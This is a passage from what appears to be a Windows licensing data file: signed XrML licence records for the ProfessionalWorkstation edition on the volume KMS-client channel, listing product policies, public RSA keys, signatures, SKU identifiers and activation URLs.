Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>KEokN82tpXri2Wd+x6XbQw+QZSQ=</DigestValue></Reference></SignedInfo><SignatureValue>s3MnADqRgUfZpbQ+k79XeIbqEDaFXI7SwSoSI+mCHPxKh86xLQ45ynAv5/vLursmCAI4UVK94xFc6d5+Hp2OCImQZe5apVq8iQUKvRyoYdPpylBU/83JfYBWVbpzmGxt8skjpoIhExPrFzifD8nFOAi1YtNvYQOHLpFscD3mZn9OxQwlLQM2Yi1ew0z1R4hlh7MgsCDnmlG7X02mDUCE/ReqfUIHSWM9GiNHo/ffQ7KkdTFkDvaDD0UfXvTLFy9JeEPWiOAWCK82W0iH5KA7sC8leFLTwVdB8NzDmOYf2O7D70jD+0Es2QM8bgJ3EDYfpIiepVq3XTwOHQG88oDxqQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{0c6fe33c-d9cc-498f-a7fc-f1ae9656ab68}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{71a2b533-f700-4aad-abc8-4ecfde00f603}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyInt name="Security-SPP-IgnoreDeferredActivation">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{82bbc092-bc50-4e16-8e18-b74fc486aec3}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{82bbc092-bc50-4e16-8e18-b74fc486aec3}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>N2nAxnK/YfQlI5OqYRNqKbMoiBg=</DigestValue></Reference></SignedInfo><SignatureValue>bdsrXA6UUBvVitz8IYTKjdcHGHkjS3sdqzGt45P5VhdCfyo8XhJiyGriUkINxEDpVaKcnx3GEi3PaxYtef9flN9cK4uuzs70TeClIA75fJdSO24edJlQAyxz7D5z2MUGVHjlrslPzUBYMNhjtvjHISczcVJn4Z89ouMeLABnAUpbL6SXSmNm051L0SmcwUaMlRluerbpJHVHIIRzJy2j8nk0f9iKOWgzxfqG/GqpJEH00DEZDDtolAinMWgSneDHFNqMbxcHXlwyG3QG40RXeZ54yqMHXGHrYyo0r015CeQzBSGcpaJ/UW8f4Za35mqtVWQYfvFWv2E3Zi80F5/Uaw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{82bbc092-bc50-4e16-8e18-b74fc486aec3}</tm:infoStr><tm:infoStr name="privateCertificateId">{81e1eb20-613f-4ac4-9c8c-41bf9888ac5f}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{81e1eb20-613f-4ac4-9c8c-41bf9888ac5f}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>B67Gsqr1i6EIRiPHEprlpkvNWkc=</DigestValue></Reference></SignedInfo><SignatureValue>Ke8Aw/zxVIlGwrCk2QeIzKKdkgSXa7rLeDOqUoBzh+htsvqOdmqWqDyzr/3PsI1vLgfm7uJDUdeCFo8NOn4LqWiFpTfE1j8c5aUD63/UoRwPwUSUgRNrNCJQ1kcgysW19kQclJD8exMBubNAbckdbucU1zSgTKFImrRP+vvUeUQxpgx+xKcLRVtVX8ThZ+3/cu1AvvJHZb5djptNiXOzlbdQN8+dZrC8Oe1AyQf87mZwkAvdQUO/A/CN22bxQdtfxEC4pfSD3OQreJJiU+hgdOF3BxmrnkgfnHFX78biRMk43doY9/WHK5jsc/az0oiszK4+YpJRP7ZsWnt5zbdOyA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{71a2b533-f700-4aad-abc8-4ecfde00f603}</tm:infoStr><tm:infoStr name="productSkuId">{82bbc092-bc50-4e16-8e18-b74fc486aec3}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5301b3a8-bb7a-488a-88aa-6559b5cb12a4}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyInt name="Security-SPP-IgnoreDeferredActivation">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/volume/1.0">GQAAAID0AwAAAAAATxPiWBGOF02cspEGnBURSAAAAAAKAAAAAAAAAAAAAAAAAAAACg==</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{82bbc092-bc50-4e16-8e18-b74fc486aec3}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>jqo6NMrX/m4BY1ShdSAHSWHMh4U=</DigestValue></Reference></SignedInfo><SignatureValue>VkXPLFnxcKUi9j8kzYOUQPcRyOXoALpZXIssrhWwhmCUSxZr7du2MbTo6rxammrthheumomi402vNXjGQVRFUNK7jgtpK2CpdolaiJ2nsJ0NbIecEafgWOBE+qJqHhwGcnEZpX1AxU7FwgIxDbg+B57K4Uenq2TZyEMiVAZaqqVDIFHLN2wzELhwFSTMTRYQxyzFL++234/VDC/TUb+Lj7zXcTrL457T/UiWiUiwEeaJ8KGyf87xUW3qSd0e2GA5W7kOCAA/97JNBNRWa930N5mhs4g/L2Dgkb4EN5fwnMR3K8AWRbww9t9/TXW4w9nLmtKECopSYfTqg6LyB0o7vQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{82bbc092-bc50-4e16-8e18-b74fc486aec3}</tm:infoStr><tm:infoStr name="privateCertificateId">{cee57471-b207-4cee-9b11-21fcb762f8c0}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{cee57471-b207-4cee-9b11-21fcb762f8c0}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>BFoNHiPvuI5U17IKoCYrizUnvY4=</DigestValue></Reference></SignedInfo><SignatureValue>hTc0c9V6uMsGKyCE8f7Q2sxWg7jDfR57ig3jJacrGrmPyuWrYkEOqxzSl26IXqWWtwH46xdbuSwduLztSx+d+46vbz7ECaDghWh6ItDExZ4O6xYYiapdATvUsmeW0Humu7ou1Di5xBGW+B/dTRuHvX/rzOMlj1BIMvQ978UFqpUzA+ifPspZgsnybaXmaMLovAtCN28orDKrUm6tIl64SZL6J9Aq635ewPAHm/uz8jZmEsjpNMI0gJe3ZI07CFWUIPsFYyXVVfZA2L7I60yyF6S+D8QGCXDg4u1hX/rMIOKGN6P/WjwrCNLoa03xv7/U+oITK2jCxfuJwNH67NbIVw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIl